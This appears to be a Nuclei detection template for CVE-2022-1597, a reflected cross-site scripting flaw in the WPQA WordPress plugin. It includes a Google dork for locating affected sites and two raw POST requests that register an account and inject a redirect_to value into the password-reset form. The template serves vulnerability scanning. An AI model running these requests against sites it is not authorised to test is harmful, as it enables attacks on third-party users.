id: CVE-2022-1597 info: name: WordPress WPQA <5.4 - Cross-Site Scripting author: veshraj severity: medium description: | WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. remediation: | Upgrade WordPress WPQA to version 5.4 or later, which includes proper input sanitization to mitigate this vulnerability. reference: - https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e - https://nvd.nist.gov/vuln/detail/CVE-2022-1597 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-1597 cwe-id: CWE-79 epss-score: 0.00188 epss-percentile: 0.56263 cpe: cpe:2.3:a:2code:wpqa_builder:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: 2code product: wpqa_builder framework: wordpress google-query: inurl:/wp-content/plugins/wpqa tags: cve,cve2022,wpscan,xss,wordpress,wp-plugin,wp,wpqa,2code variables: user: "{{to_lower(rand_base(5))}}" pass: "{{user}}{{to_lower(rand_base(3))}}" redirect_to: '">' http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Content-Type: application/x-www-form-urlencoded user_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Content-Type: application/x-www-form-urlencoded user_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}} matchers-condition: and matchers: - type: word part: body words: - '{{redirect_to}}' - '"success":1' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022058bb20f17e08e024e5f32d3473550b7b24061550e4781cef78f2535f026f89df02210088ffa729cb75ae49e36e5975379fb564020b3e00ca91ce913bcb8d6e9bef8dfe:922c64590222798bb761d5b6d8e72950